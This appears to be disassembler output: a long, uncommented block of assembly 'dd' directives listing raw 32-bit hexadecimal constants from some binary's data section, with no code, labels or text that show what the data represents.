		dd 1E1BFDC4h, 0A4C6F252h, 44C213A7h, 88859178h,	2E35DC7Ch
		dd 98007910h, 6EA10B5Fh, 5BB2138Ah, 83B4377Dh, 6000DBC1h
		dd 76F94DE8h, 53AF60Ch,	7784159Dh, 0AF880130h, 3391BAA2h
		dd 0CFD601F8h, 794E7B48h, 404CC2CEh, 1DE8B830h,	8EF4D1E7h
		dd 42405215h, 0E5631CEh, 99A16C00h, 61BA4D85h, 0E41E0533h
		dd 94E787EFh, 0E083FA34h, 41E3E89Eh, 0F37624FCh, 22DE00F0h
		dd 829B3D70h, 0D8D69F03h, 0E8E116B3h, 11E0251h,	0AC475F36h
		dd 64A684A4h, 0E87277DCh, 0F51D8100h, 0C29DB31h, 58250A40h
		dd 0B4032Eh, 161722EBh,	320EB51Bh, 0E13491D9h, 9CAA2C54h
		dd 482D21E0h, 33001C25h, 0D86A0A03h, 0D1003DABh, 0C218B71Ah
		dd 71214A77h, 0AA7B0562h, 94447C5Ch, 0C0F87798h, 8C2C551Bh
		dd 0DF279A05h, 0F88861B6h, 0AFA9C541h, 2B4002Ah, 0A7ED9DB0h
		dd 718CF000h, 5822D746h, 1FA100CBh, 28D9AE07h, 0B100294Ah
		dd 5F2B6BFDh, 4CA0324Fh, 59983009h, 9010DD17h, 5302295Eh
		dd 70EDEA6Dh, 4BA8BC83h, 207D9CE1h, 27004267h, 86ADCA4Ch
		dd 0C07E49DFh, 0FF26A918h, 0D9590DFCh, 0B81D26ACh, 3F805D84h
		dd 729054C0h, 8B5F0074h, 0D8B8FFC0h, 0A2012A12h, 3EBDAF0Bh
		dd 0C8E64C22h, 0F8E84740h, 18B2C1h, 2D3F8A9Ah, 0D9695EFFh
		dd 9F1B8800h, 0A22FE83Eh, 60EB2695h, 0E6D30464h, 0B4049070h
		dd 0F907E888h, 0A6D667B6h, 0DBD1870h, 8E7C3C84h, 0EB1F5800h
		dd 6AA58264h, 60FBCA2Eh, 5F54EA40h, 8031F7C9h, 0B07AEBE7h
		dd 13F583ABh, 32B67D5h,	0E60CE99Ch, 0CFE054C3h,	2C4C9C8Ch
		dd 8FD00C3h, 3BD29A48h,	1C9D58BBh, 0CC1F64B0h, 2C4A7A0Fh
		dd 4406B30Bh, 71C849h, 942B13FDh, 4576F55Eh, 6C05E22Eh
		dd 0AB537086h, 2CEFA49h, 0B42B83FEh, 0C4C0AA66h, 0AD00D786h
		dd 517D48BBh, 9F99D2Dh,	0E61C35F1h, 71EAD880h, 0A0CDA3Ch
		dd 0FA1B8CF3h, 5051C1EEh, 24D21435h, 8B007D54h,	19932FB9h
		dd 0F848E7h, 2A95049Ah,	3508418Fh, 0A454A758h, 0B3C5E01Dh
		dd 50D026C3h, 0A31619Eh, 0CD41C4D1h, 0E1067184h, 3240600Fh
		dd 0F884F4B2h, 6496B081h, 395C5D20h, 702B0CC0h,	2C4CC066h
		dd 1E1699D9h, 406985h, 0F2866F54h, 5F30B8D6h, 7CCBF9F1h
		dd 4A9ECCAh, 2171DBC9h,	6CA480EBh, 1E07D353h, 438324F5h
		dd 90B137C0h, 3CE70CC1h, 0AD583E4Ah, 0E300D27Eh, 0FBB3BD08h
		dd 2C59523Bh, 9A813FCh
		dd 0C84470CCh, 0D4613F01h, 788BBBFFh, 2850EC65h, 31ED98h
		dd 24308EF0h, 0A9676CC0h, 78300499h, 2E31D9Dh, 0DB6F3F7Dh
		dd 92899E98h, 309FCC20h, 1A39AE44h, 516286F4h, 8478915Ah
		dd 0FAF1127Ch, 0FC5888BEh, 174C4A00h, 4B1E37A8h, 7EFA02AEh
		dd 0B864F973h, 66040858h, 0F822ADBh, 20157C8Dh,	2268888h
		dd 0EF3062C7h, 0E06278CEh, 9C45B423h, 0B37E7D98h, 434C1E09h
		dd 26C007Bh, 5BB252Eh, 0F5D19FF1h, 0AF3CC10Eh, 88182031h
		dd 48D22700h, 9A7D371Dh, 54F200DCh, 0D9D49645h,	0E3E0C7A5h
		dd 10F0CD01h, 0BCE4D11Dh, 1DA66860h, 405B6417h,	0E25181F1h
		dd 590060B1h, 66C9B60Eh, 0F05FD11Eh, 4C089229h,	0B80B984Ch
		dd 6051D03h, 8A8400A9h,	32F1C0EFh, 78319226h, 9F449E01h
		dd 54310785h, 29B0CC28h, 0D8CB4922h, 0BDB48065h, 1765534h
		dd 773930E8h, 419BA3EFh, 0FF3CB3C0h, 0EC4787F1h, 7C73ACAEh
		dd 60A8E56Fh, 81D3400Fh, 330604B0h, 83E3B3CDh, 0E0000D7Bh
		dd 413A3111h, 0ACBAF68h, 3DFEF146h, 7E4A0064h, 0A9272557h
		dd 1C42DF00h, 0F76A4145h, 20C56971h, 3988B080h,	1305543h
		dd 0B0A5F1CDh, 2CCA04BFh, 84AFCC79h, 90FCD4DBh,	21241BB0h
		dd 7AE0C303h, 88D26184h, 0B0D80B58h, 0AED901F4h, 5617183Eh
		dd 0F826F0DCh, 9E70CB17h, 64CECC00h, 0A1C56CCAh, 90475C50h
		dd 0A69052D1h, 2C885464h, 40DC0DE4h, 0D84ADC3Ch, 3A70BA1Fh
		dd 0B1CACEC5h, 7D77A820h, 87D50052h, 83863091h,	4D006671h
		dd 0E610B1F2h, 5BBFC06h, 69D9D504h, 8C18901Ch, 0DB30EB3Bh
		dd 6C6620EFh, 0F2FF7230h, 0A79507F5h, 24C3D00Fh, 74C8E0E0h
		dd 16250400h, 0FEFAEECBh, 39B584Ah, 4040CD16h, 5923D15Ch
		dd 0FD4D4CFFh, 882F24F0h, 7EE8FE00h, 489D3EA4h,	0DE093490h
		dd 0D8601AC9h, 6A142F0Ch, 0D388C286h, 82BBF802h, 2B42A43h
		dd 528DE15Ah, 0C8009070h, 0E88C7153h, 54493BA3h, 4C839CBBh
		dd 0B80D2377h, 609817DFh, 0F614BEA5h, 3C840713h, 7E84002Ah
		dd 0B62530E2h, 0D009AD0h, 0E0797178h, 92343089h, 5DD6F02h
		dd 0C09D8833h, 58FE2EA8h, 90500311h, 25BF00DAh,	90E9063Ah
		dd 84A8D9CBh, 157AAE6Fh, 77B37900h, 96B1D6BEh, 142600E3h
		dd 809255FDh, 213F67C8h, 35AE03DEh, 3124D2Bh, 9D19D51h
		dd 2998F49Bh, 0CC071A9Ah, 77E9B804h, 64BC87E2h,	365779Ch
		dd 0E1CADB8Bh, 23C7431Ch, 0C13FC564h, 0E29D8002h, 0B0217CF2h
		dd 60AC2AD1h, 0E59305DCh, 9037B1DDh, 86CC2B3Ch,	0D517A8B8h
		dd 0D820B485h, 33048EBh, 0A150698Ch, 9991395Ch,	0FDF4247Ch
		dd 87F02E00h, 0BFDEA91Ch, 92DCA25Bh, 4990C1F4h,	7051E073h
		dd 0BCA10804h, 7901F189h, 0E0869CC8h, 3305800h,	0F6873F65h
		dd 0E48A0A9Bh, 80FC5680h, 0E70C3A9Ch, 964825FAh, 0F82E1D20h
		dd 301008EDh, 2848BD40h, 81E8A1B2h, 0BC33AC23h,	0A1001519h
		dd 0F90CA8FBh, 9E9F627h, 6E959967h, 601A0410h, 70997DF4h
		dd 0B7C15465h, 0C351A21h, 0F0C1F428h, 66B51D62h, 808C93E0h
		dd 24F40E88h, 0C0002379h, 94153AC8h, 8C140424h,	0B5319A04h
		dd 0B84890F7h, 0E9508AB0h, 0B0754300h, 0B35F0AA6h, 2D060056h
		dd 0B17B0D79h, 5D70ADC7h, 25CD1C48h, 24A81BAEh,	0A500C991h
		dd 60D1788Dh, 0E01652Ch, 5E640679h, 60CE8BA6h, 1CA54B64h
		dd 0C089BC82h, 7551CE84h, 181FF150h, 0F98CE231h, 9D86160h
		dd 0D4FAB7AEh, 0E8589020h, 87F6325Ch, 3413892Ch, 52E1EEC2h
		dd 0F47F07ECh, 9747E6E9h, 0D1DE007Eh, 39129631h, 2001ABF1h
		dd 29114A8h, 404C8CCh, 0AA1D9EB3h, 40D0908Ch, 43E28B4Dh
		dd 0E605E4F4h, 55FBF82Ch, 0D21B3F80h, 98A85D60h, 67F0E03Ch
		dd 0C018A116h, 426F481Ch, 0E3CFBE04h, 2890AA79h, 15A938A7h
		dd 0EC8D1105h, 73B9D500h, 52ED84E0h, 7EF0430Fh,	92AD0B13h
		dd 0A19850B4h, 0E0219C88h, 88F4C28h, 3D09B0AFh,	835C98C4h
		dd 0FB4F1FFCh, 66F9A9C9h, 609C91D4h, 81E719Ah, 1905FD30h
		dd 0B5535BEh, 7CDDDB9Ch, 0E7E24C80h, 6604EEAAh,	7E49EF99h
		dd 72D8C882h, 575A006Ch, 60D1034Bh, 0EF481185h,	40C4D2A8h
		dd 0D19294E2h, 6FB3EAE0h, 5EBFE0h, 0E7A4A27h, 17227D40h
		dd 42F5751Eh, 76E35400h, 1E2F06D7h, 7D312DFFh, 0F0DCAD80h
		dd 0C08A90B7h, 34361F00h, 398084Fh, 7B541343h, 228F00E0h
		dd 7DF9B1B8h, 806CDA38h, 6116266Fh, 980B0Ah, 399FC6Eh
		dd 156710DEh, 0E5D94314h, 0BA400D7h, 0ECB624D5h, 0CAA900B2h
		dd 59478CDAh, 90030666h, 15B3C572h, 0FD210EB8h,	0FA8096C6h
		dd 0D7C18D44h, 8F016AE2h, 550DBBE6h, 0FCC824F8h, 8EC5394Fh
		dd 308B8228h, 61A00B99h, 6029D67h, 0A9CBBCADh, 0FB74E068h
		dd 313D0F38h, 28800357h, 4D74DAE1h, 8A1A4501h, 4743FA70h
		dd 0D19820h, 0B59DF0D0h, 4D1DBA57h, 0C09F9100h,	69CEE390h
		dd 4F2901B6h, 44A06BA3h, 8209D8ECh, 86AD112Ch, 1CFAB00h
		dd 9899145Eh, 582E00E7h, 0F8A2CEDBh, 9300BE41h,	496E9A88h
		dd 0C0ED42D2h, 0F6A83EF0h, 6F073BF7h, 4A5058B6h, 0C866570h
		dd 0AA2B00F2h, 0D8774C4Eh, 2400FC7Ch, 0BDB1B7B9h, 5B51EF3h
		dd 6D7FAD17h, 31804788h, 59880A0h, 0ECFC9C5Ah, 797AD97Ah
		dd 34C99CEFh, 760C226Ch, 7F990B3h, 0B20F7C98h, 715BC032h
		dd 6400C3CDh, 0C1752926h, 1FE9F73h, 0AA5FBFAh, 0D0BD3C7Ch
		dd 8B7590C7h, 24185448h, 1DB80094h, 5C80AEB5h, 0DA0B2D55h
		dd 8AF005h, 0F0FA3671h,	0CB51651Ah, 0F0FF2A30h,	3FAD9FDBh
		dd 86008E38h, 70AC28E9h, 35010273h, 10DD19ECh, 77C5C19Fh
		dd 0E27F8870h, 0F7D2122Dh, 0C1485F02h, 0C7A6DE1Dh, 883860BAh
		dd 42036C90h, 70EB6359h, 0A24E86Ch, 0C4C85186h,	2DF6FF0h
		dd 282083D1h, 6240DDAFh, 405079A9h, 0C752F348h,	0F8AB00E4h
		dd 459A37FDh, 9EE52423h, 1F2D8104h, 4098F3EAh, 31F5F2E8h
		dd 7A8EE805h, 9073C782h, 7CA080D1h, 24F8A0B7h, 14E400A2h
		dd 64D68AE5h, 0F6248BDCh, 0E601D879h, 0DD5C9682h, 36BACC4h
		dd 0F9EAD8B0h, 0EEA3D09Fh, 5DE1FFD0h, 40441404h, 3C88821Fh
		dd 196E478h, 4BCEDDC5h,	24326F70h, 5D06BCF0h, 0EE20CC33h
		dd 9CE80080h, 0CEFBE3C0h, 8240C2Ah, 885BD00Dh, 10192EAh
		dd 0DE9C75F5h, 0FC796735h, 0A8EE7694h, 80178430h, 0EA36BDCh
		dd 751686FFh, 38D781A0h, 46268FC2h, 98201DEAh, 73999502h
		dd 6020BE69h, 318848h, 9F1A5110h, 0B265D3E6h, 5C7FDD00h
		dd 0A532F94Eh, 0A497DAEh, 0BE5A9FAAh, 3133C0A8h, 0B8001743h
		dd 9862FD58h, 67B5F2Fh,	4018670Eh, 6348983Ch, 373A097Ah
		dd 8314000Ch, 24287A51h, 80BC04D8h, 92124F0Fh, 74192D64h
		dd 0C9619D65h, 0A1420h,	0EB93BC23h, 0CF6EC66Fh,	0A7BADB1Ah
		dd 7DA08731h, 5712F101h, 21D87080h, 5EA9B40Dh, 4E166714h
		dd 0C9DA00AEh, 7A6C86B2h, 8440EB93h, 389456ACh,	0A7009605h
		dd 2B758EB9h, 427B6B9Ch, 511BD3Ch, 15D42940h, 6A73F001h
		dd 0F024923Bh, 164709DCh, 180F78DFh, 3C146160h,	1B121820h
		dd 5C40C49Eh, 0EF7E3202h, 0A5C600AAh, 0F6DFB32Ch, 0DA06C30Fh
		dd 9FE17E2h, 4FA40498h,	8167FD02h, 82A166DCh, 0C93085F8h
		dd 0AA584871h, 4C5E0969h, 0BA88425Ah, 0BE81CE30h, 2D16CB3h
		dd 0A090A890h, 3C007A93h, 0C92ACA95h, 2D17487h,	0DE3AE3EBh
		dd 94905E34h, 9300C2D4h, 7D14996Dh, 2C8FDC7h, 281A65BEh
		dd 7D418410h, 0F8E1A473h
		dd 0E2DC78h, 77FFFC51h,	0E0D96891h, 0A114D14Ch,	1180E4BDh
		dd 0ABD9FE09h, 80016FFh, 6AC69F78h, 0B0CC4D17h,	0FBA0177h
		dd 77410367h, 1B6462EFh, 0C841C2A9h, 92F10C0Ah,	0C97068h
		dd 64811691h, 5A7833C8h, 6610E100h, 0BD949C84h,	1BBB1858h
		dd 30D931D3h, 115C7B09h, 999C0187h, 70340672h, 241490BAh
		dd 0BDC8EE65h, 63901600h, 0E5072756h, 8A1F1E00h, 5946A24Ah
		dd 263E002Dh, 9A4CE860h, 3600898Eh, 87D534FDh, 515BF9Ch
		dd 0ED2A8278h, 86548577h, 8409D90Ch, 203CE345h,	0C81BA590h
		dd 52A49063h, 458E401h,	1AF7ED00h, 71EBC595h, 0C5A2605h
		dd 8443D6A9h, 108A9F16h, 5EB9AB0h, 6D9453D3h, 0ABF5D040h
		dd 78A5137h, 0C8DA0AD5h, 0E28F0B5h, 9600FE21h, 390A66Eh
		dd 25CB117h, 162E2C5Dh,	0B8B8B382h, 6D00E2EAh, 3F853094h
		dd 937795Bh, 50408BF0h,	34B7B400h, 78BA88C1h, 8A2BB01h
		dd 7D41D585h, 98C2E4F8h, 9B3C9844h, 2C5F9E20h, 0E69E00A4h
		dd 58EEFAA5h, 0EDEB6700h, 19807BDh, 50CC00E9h, 12D23CE1h
		dd 8B00DBA3h, 0C8231D66h, 0F5FBE016h, 294276ECh, 84849432h
		dd 80331893h, 4127C498h, 83059900h, 95BC4FE6h, 1FB00030h
		dd 5E20EC07h, 0B5003362h, 5D0B4B56h, 0C82B9Eh, 0EBED3BA3h
		dd 90576387h, 0B504E60Fh, 0A428B277h, 0E0ACAB0Bh, 0E9B04C4h
		dd 2F712814h, 379497A0h, 14B22E1Dh, 1123D800h, 432BD936h
		dd 59247D84h, 9E00E82Fh, 521E534Fh, 75981C6Ch, 0DC436604h
		dd 0D4D07417h, 499B24B4h, 78004C9Ch, 2E5D264Eh,	64923EF6h
		dd 0C0CC620Ah, 0FC2CE01Eh, 987A8578h, 0D9FA90h,	0F2D2ED4Fh
		dd 57283AEEh, 811D9D3Bh, 32712B34h, 31C1F83Dh, 2C9817C0h
		dd 3FEA7Fh, 0B3D06E30h,	0C003471Bh, 0B823BF0Fh,	5DE0F1C1h
		dd 6EE020h, 0CDD81ADFh,	22FD2F39h, 59B4A200h, 0BA3E490h
		dd 5CF4B043h, 570981BAh, 407112Eh, 939D1068h, 4A0BD3A4h
		dd 91DAE14Eh, 90E88FDCh, 1B890270h, 46A62315h, 79AEFCE0h
		dd 67AF4E09h, 0EC29D5h,	0F1904CA1h, 86A71665h, 0FC9071A3h
		dd 0BFD0D33Ah, 4C91095Dh, 0B300E820h, 0DD4904F3h, 4DCD4031h
		dd 5392E817h, 1881F94h,	33F3D36Ah, 7A6FE812h, 980C0892h
		dd 69FA7C9Fh, 0C3A50044h, 23402D4Eh, 6E1C7635h,	7180D7DCh
		dd 7CA34A2Eh, 63970032h, 92742480h, 0A55C392Fh,	0E0A17B20h
		dd 0C86897ADh, 0F3C42C40h, 25621Fh, 18BE7DE2h, 24770288h
		dd 0AA264378h, 2A0046A1h, 4B0D0ED0h, 0C1981496h, 5C00CCEBh
		dd 389D5D1Ah, 2C60BDB6h, 0F65B2D2h, 47960A75h, 0A494A0h
		dd 0C34F072Ah, 0BC9A5DD0h, 0B030205Ch, 14DADB8Ch, 885EABE3h
		dd 1E90C600h, 0FAB4595Ch, 8040E558h, 0E4EE2746h, 0B070E3D7h
		dd 2CA4AEC4h, 9EB0EA38h, 0D92980AFh, 5B14EE88h,	8ED7721Dh
		dd 0FF972DC0h, 6B4D6h, 907D9EA3h, 98331C27h, 0A88A48h
		dd 0E2BACDDFh, 102C26h,	39CC658Fh, 8C13593h, 0A942A217h
		dd 0E216D84Eh, 401BB8FEh, 1DEC06A4h, 1C766043h,	6CFFC738h
		dd 7E52326Dh, 740B1861h, 2877911Ch, 0A98F9600h,	4D1CD28Bh
		dd 0E65600E4h, 0FC0D3D05h, 10000C4Ch, 0C4C524ECh, 0C0A91362h
		dd 0A75D91B8h, 7E1DCA43h, 4E016E05h, 0C979F51Ch, 0C0738431h
		dd 0B6D57300h, 16FD136Dh, 3437EE12h, 1A00B412h,	68336972h
		dd 48A00036h, 74DAACC7h, 0E3F8170Ah, 0EFEDF00h,	37783FDCh
		dd 6A4902Bh, 0C188906Bh, 0AD1C8891h, 0F60032F3h, 0BA3EBBABh
		dd 6CB900B4h, 0AC70FC03h, 9804A9B0h, 0C4A0D0ECh, 0A65BF180h
		dd 1511384Fh, 99AEBC89h, 0C22D5041h, 1FDC41E0h,	78016494h
		dd 0B3794B6Bh, 0BAC8FD4h, 0A4AA1CBBh, 9084C025h, 0B2CB3940h
		dd 0F8A65F50h, 0C804649Ah, 66AAAD2Ch, 0C01318C2h, 1D6ACE20h
		dd 49D324BFh, 0A3810D9Ah, 7281D935h, 1C332C60h,	0F18604C0h
		dd 395E00A6h, 0C471A8D7h, 8F29DB93h, 1826809Ch,	0AC141A00h
		dd 17B3F387h, 8FB550h, 7E9990F0h, 0D54A3B33h, 13697026h
		dd 0A13436h, 9625CC3Ch,	0C2FCD51Bh, 92AFAB09h, 3BDCC488h
		dd 2F80F591h, 0CB36B916h, 63143F27h, 0C280A9CEh, 8764C566h
		dd 0A061ECE8h, 5760A6EEh, 54B50063h, 0FE335E8Fh, 8400DF26h
		dd 0CA7FC17Eh, 396576DDh, 882AB293h, 92590980h,	74A0CE1Ah
		dd 0B6713276h, 582820D6h, 8AF83FBFh, 498010B0h,	1C00AFB0h
		dd 6A062495h, 71ED6C35h, 62C9C17Fh, 401CFA3Eh, 4E46C6CCh
		dd 0C0A77D00h, 8EF90F30h, 0A89E0006h, 1CDD82A9h, 0FF0F77DAh
		dd 5FB4D40Ah, 0D04796FAh, 0EB3C009h, 0EF51609Ch, 9B944Bh
		dd 7B120836h, 631C68C3h, 0A0E5AB26h, 5D0BC00h, 0E6F9D93Eh
		dd 668401B6h, 0E708291Fh, 3F4F30D1h, 520258h, 0BCAD3175h
		dd 3B876Ch, 0F388703Dh,	0C7B447A6h, 417DE4A1h, 489402A0h
		dd 0C1386E84h, 696D2E5Dh, 3A391438h, 49D60084h,	8AE47BA6h
		dd 80849668h, 32FF9AC8h, 8D0525DCh, 0BB901AF5h,	78D06FC4h
		dd 4A6F59A1h, 85A413D0h, 124400D0h, 0D16BBD5Ah,	4E951006h
		dd 0B088EBh, 61717B72h,	0FC74DC9Eh, 199F930Eh, 7D12156h
		dd 247039F9h, 294D62h, 4925B605h, 51C040B3h, 0D7D22C5h
		dd 8FA2D400h, 0EC41C38Dh, 0BE3A0CF6h, 0EDE0D679h, 0F216910Fh
		dd 0EFA60B7h, 0EA0C6BB6h, 4701033Dh, 17EE7D5Ch,	0B4585AEAh
		dd 9BEFC600h, 24C7875Eh, 0F21096Ch, 0CC07FDDh, 4E2B36Eh
		dd 14B5E800h, 102524F1h, 773BFA81h, 76B0C94Dh, 729F30E5h
		dd 80000EAEh, 0E2B603A8h, 9671003Ch, 0C036D8A3h, 0A10088F0h
		dd 0AE1F556Ah, 0A433C927h, 516CAAA8h, 0CA8824F8h, 8100B810h
		dd 31FB88DEh, 1E360CA9h, 0E040C8h, 0E86274A5h, 0B845014Ch
		dd 0BE86EC18h, 0A1C05921h, 60F2D5EEh, 0D179ADh,	0A9BDAAE4h
		dd 0E9B0714Bh, 3C094571h, 4C932463h, 0E66A3118h, 7049BB4Ah
		dd 8CFC9230h, 0F0CA2E22h, 6150249Bh, 4C4E600Ch,	0B000B8ACh
		dd 0E108C9F9h, 0A1466B5h, 946D3644h, 0D4C2E030h, 0DCB04DD7h
		dd 24BA34A1h, 0E87BCDF4h, 28B07CB8h, 7CE5506h, 38C6AD8Fh
		dd 9E80C71Ah, 0FE215C2Fh, 0BEEED1A1h, 0F91D1030h, 52B943FFh
		dd 0DFC75893h, 5C9BB933h, 0CEDC20C8h, 1FA8F13Fh, 3B80A44h
		dd 82C65EB4h, 0F57590C1h, 4F4B0121h, 9C23C93Ch,	639092CCh
		dd 6A1C4400h, 12753FCFh, 8019DCC6h, 2EBFB1E0h, 0D28418C1h
		dd 642D1035h, 403C741Dh, 0B9D4555Dh, 0E41706ACh, 0AC6466AEh
		dd 0B180FC05h, 0F9C230A2h, 68486803h, 0DF4C15A0h, 0A73E2D44h
		dd 0B730B6B0h, 7890084Eh, 23E0043Ch, 8C9466F5h,	36178198h
		dd 0AC209FDCh, 0DA400Eh, 2850E87Fh, 3AFDE7D5h, 8A8D2C0Fh
		dd 67B7622Bh, 320E8AAh,	0BBEB22E5h, 80F31F05h, 0D4D81632h
		dd 0D40C050Eh, 80A52043h, 723759A6h, 15A6DB1Fh,	78960453h
		dd 84413851h, 3D83B080h, 6D192A94h, 708EB902h, 50D7EFD5h
		dd 0AC80963Ch, 0E33B0738h, 15E65A72h, 0BC00F0E2h, 0A325F607h
		dd 0C8E08C46h, 0E98019C0h, 9A960EE3h, 0B6010588h, 86904CB5h
		dd 0F901A878h, 0BA3DDEEEh, 77F4B01Ah, 0FC675C81h, 40896CD0h
		dd 690BE9D6h, 94983012h, 0BAC27A99h, 772E0708h,	7E59A7Dh
		dd 8DADB1FAh, 4B583C4Ch, 72C7828h, 12659CC4h, 0D47A4776h
		dd 0BAA4C1ACh, 0B082083Ah, 2CF902B8h, 65F76981h, 0D6C9CCC8h
		dd 0E3D12100h, 76734C09h, 0AC370BDAh, 104A88ADh, 0DC2088A9h
		dd 3536BE89h, 86193460h, 0EB9ECCh, 0AB7A92F6h, 8995C696h
		dd 365748h, 2611ADEEh
		dd 139341B5h, 5D914F99h, 72A4C2D0h, 4486323h, 9A2C9016h
		dd 2680BCD6h, 58C09D50h, 0F4AA5365h, 59B3A844h,	0EC5C80A4h
		dd 7EDE0FDDh, 40652067h, 17C55F22h, 9A83049h, 88599B78h
		dd 998E5C9Ch, 0D15501FEh, 598715DEh, 0D098D40Bh, 2C9B1B3Eh
		dd 12FDB714h, 590072A5h, 628BE1A0h, 587879F6h, 5500FC9Dh
		dd 3CE7680Ah, 85480FD0h, 7D880094h, 66C1C517h, 27400118h
		dd 19109995h, 0B551C0BFh, 67A48800h, 9F73AFCCh,	4146009Dh
		dd 0EC79E11Eh, 75004068h, 8EE2C336h, 1215444h, 0B9B08D3Fh
		dd 0F4CF92D0h, 1202F937h, 9C15710Ch, 738C581Eh,	52240059h
		dd 6008BD0Dh, 7C021145h, 231CABE9h, 0B05DC166h,	61E6C8h
		dd 9E6B60F1h, 181E5C05h, 330DE00h, 0AD0D5732h, 77590095h
		dd 450F4933h, 8302CD8Bh, 0F30B42C5h, 9584805Ch,	86A66Dh
		dd 0FC2BA514h, 0DFE699C4h, 42F04171h, 9AD19201h, 66251069h
		dd 0E2D0D0h, 0BD12B862h, 44D2A56Eh, 26A2800h, 9D83BFBh
		dd 8AED008Ch, 0C1904337h, 5D3C5FA4h, 0EE2C8127h, 49F74FBh
		dd 19E8D0h, 9CB7F7C8h, 0C23B9175h, 0D8A6EB00h, 85E21588h
		dd 5CA80113h, 1F77275Eh, 36D0208Ch, 3EF231F6h, 3C56D400h
		dd 8DC090FCh, 42282EB1h, 0CF81049Ah, 0F17980E7h, 5A0F5D7Fh
		dd 246BF8B3h, 4CF4C666h, 26570095h, 41A3F6ABh, 39004C89h
		dd 0F469C6C2h, 7D548ACh, 2C0B9AD7h, 94EB50DBh, 63755AF9h
		dd 3E651A00h, 0A81B5855h, 3BF700B4h, 78960986h,	9A0037D3h
		dd 0EDDEC018h, 1B8AE2h,	53FCB912h, 0A0361A1h, 4BF89B00h
		dd 0AB6D3EC7h, 0EB78C54Dh, 904334Ch, 5FD4D1F9h,	302B9E0Ch
		dd 85BFAC60h, 75AE00D0h, 0C6C92A1Ch, 513EDD31h,	0AF5A14BEh
		dd 90B2210Ch, 62AEC83Bh, 9610A5F3h, 0E4218427h,	0C4821098h
		dd 8A22935Fh, 84990318h, 210A643h, 658E88A8h, 0DA184A69h
		dd 0C289548h, 84327610h, 0E222A7CFh, 9B8E18A2h,	1982DE11h
		dd 4A11605Ah, 8B009C89h, 13037DFh, 0A86B5C29h, 0F1CCB100h
		dd 52C0A3Eh, 1ADD955h, 0C0B8473Ch, 824E2015h, 20AC585h
		dd 0FCBF863Dh, 95DE82B8h, 0A3540A06h, 0A07CBDC8h, 1334209h
		dd 760BFC62h, 0E75788B7h, 6F1DB6E0h, 2EEEB03h, 0A1673F66h
		dd 8874CE9h, 60FC7891h,	0D5D84D26h, 56DE9700h, 70CA08C7h
		dd 4C3E5382h, 0B09A131Ch, 795010D9h, 0E744200Bh, 0E1A85BDh
		dd 0DBD48400h, 461F0ACh, 2B9CD1D2h, 30B4C732h, 9044C2C5h
		dd 4E20490Eh, 7BE942h, 3C8B0974h, 0E8C7723Bh, 461CAE60h
		dd 639280C4h, 25347E8h,	0DDF0F3F8h, 6960C779h, 3D521F01h
		dd 38FEA0C0h, 4D551C2Bh, 5DC0C0B7h, 0DE1711F8h,	0AD29F660h
		dd 20C9CC02h, 0BDE82CE4h, 9E238200h, 9390E81Eh,	97CF0AE7h
		dd 605CD0A7h, 6241AA44h, 4B2AD03h, 0F021AB97h, 1EF6711h
		dd 6E812ACDh, 0D0894057h, 5400D97Fh, 2B700B39h,	18D2C4B9h
		dd 0B1C0E2ACh, 191282F0h, 30153FAAh, 84C63D10h,	6E583CCDh
		dd 65CD488h, 0A143AED5h, 781928CBh, 0C6B0C725h,	8FD4840Fh
		dd 4CC1296Bh, 0D262EC0h, 0FEC97B69h, 1782022Fh,	2BA393C8h
		dd 0FB6B6C48h, 6FC17309h, 0CC38AF18h, 1E844143h, 0AF026C7h
		dd 80CCF79Bh, 3C54FC6Bh, 560732DAh, 825B9611h, 4CEE2BF0h
		dd 374F0706h, 40771781h, 0A30A5D09h, 1AFEB378h,	8000237Eh
		dd 618292F4h, 7A344CB7h, 9B4E001Dh, 4ACA9E2h, 57007A93h
		dd 10AA9860h, 304A96E7h, 50205B2Dh, 6E0CFE1Bh, 10E5EF4Dh
		dd 0A1C3309Bh, 1136E208h, 9E97F206h, 3185E3h, 189CBA4Eh
		dd 3B138EF1h, 62AD5B33h, 0FCED9886h, 0E5963ABDh, 48884518h
		dd 0D0EA61C2h, 6742F48h, 0F416AED8h, 0E48D3D30h, 0F7599A33h
		dd 94CE9800h, 0EB182315h, 0B65B038Fh, 0FF69006h, 1F6ECDE0h
		dd 15724B1Dh, 62BE0587h, 19507137h, 577634D8h, 0F3F14495h
		dd 58450C8h, 0D1003A0Ch, 0AB4CA702h, 0C92770h, 6486A247h
		dd 0D6F99B8Ch, 6313E500h, 0D415CFB0h, 0E683030Fh, 464BAAA5h
		dd 0CE0A53C8h, 367A4016h, 80A2AF0Eh, 9B4C5BD1h,	3EBF03Fh
		dd 6E6DA61Ch, 0C9D02717h, 660CCEB6h, 89E036A3h,	71400AEh
		dd 0F0C03AEDh, 4C056170h, 13999DAAh, 0A848428h,	857B61F2h
		dd 0EA020A8h, 0D7A7477Ch, 0D808FEA1h, 2180D0BEh, 94E2831Eh
		dd 705A3707h, 0B596BB00h, 4F180358h, 0FEB225A7h, 3DE28103h
		dd 0B05930B8h, 5CE3B2Dh, 9EE717F2h, 60D00469h, 113120F8h
		dd 17623AABh, 0EF67604h, 0F0648AE5h, 0BFFE5h, 10574AFAh
		dd 1E0AB377h, 0FED23105h, 27C78597h, 0D8B743C0h, 7C711E9Ch
		dd 0AC78C0D9h, 70C606C4h, 44DF2003h, 0A0D72309h, 0F0B2CB1h
		dd 31F634F0h, 0B35887E0h, 0A3301878h, 0D62A30A5h, 776C0044h
		dd 0FE5F013h, 0E600391Eh, 0BF6790C2h, 3EC3036h,	89B14E7Ah
		dd 98A027EBh, 860E09CFh, 206AFCFDh, 0A5CD80C6h,	0F65E8AEh
		dd 946BF44Dh, 32EA5500h, 0EF0ED25Fh, 1F770CB3h,	80AD5043h
		dd 36707774h, 0C82E9CD9h, 1AE17309h, 522B0054h,	3FD8827Ch
		dd 0D1A9D3C3h, 5570C980h, 0DD444BF7h, 0B5C0E9F7h, 1E95793h
		dd 82EC31C8h, 0F3F260B9h, 90A62072h, 0FF200B03h, 7EE7F36Ah
		dd 171F3A38h, 0F1CF3278h, 4002D811h, 768123EFh,	1087B1C2h
		dd 0DEDC2A0h, 10A82086h, 540A3A44h, 1E43C0BDh, 7597C15h
		dd 6097FC74h, 9F1049DCh, 8BF4ED00h, 586A6E5Fh, 0C3F1061Fh
		dd 0D1365760h, 8CB47A28h, 8FA01500h, 32FD8E67h,	483662ECh
		dd 9C08D973h, 91180C2Ah, 52801495h, 40F460E6h, 4DE1750Ch
		dd 464CC20Dh, 322148CEh, 500048A8h, 6105AC6Ah, 0BD58E93Fh
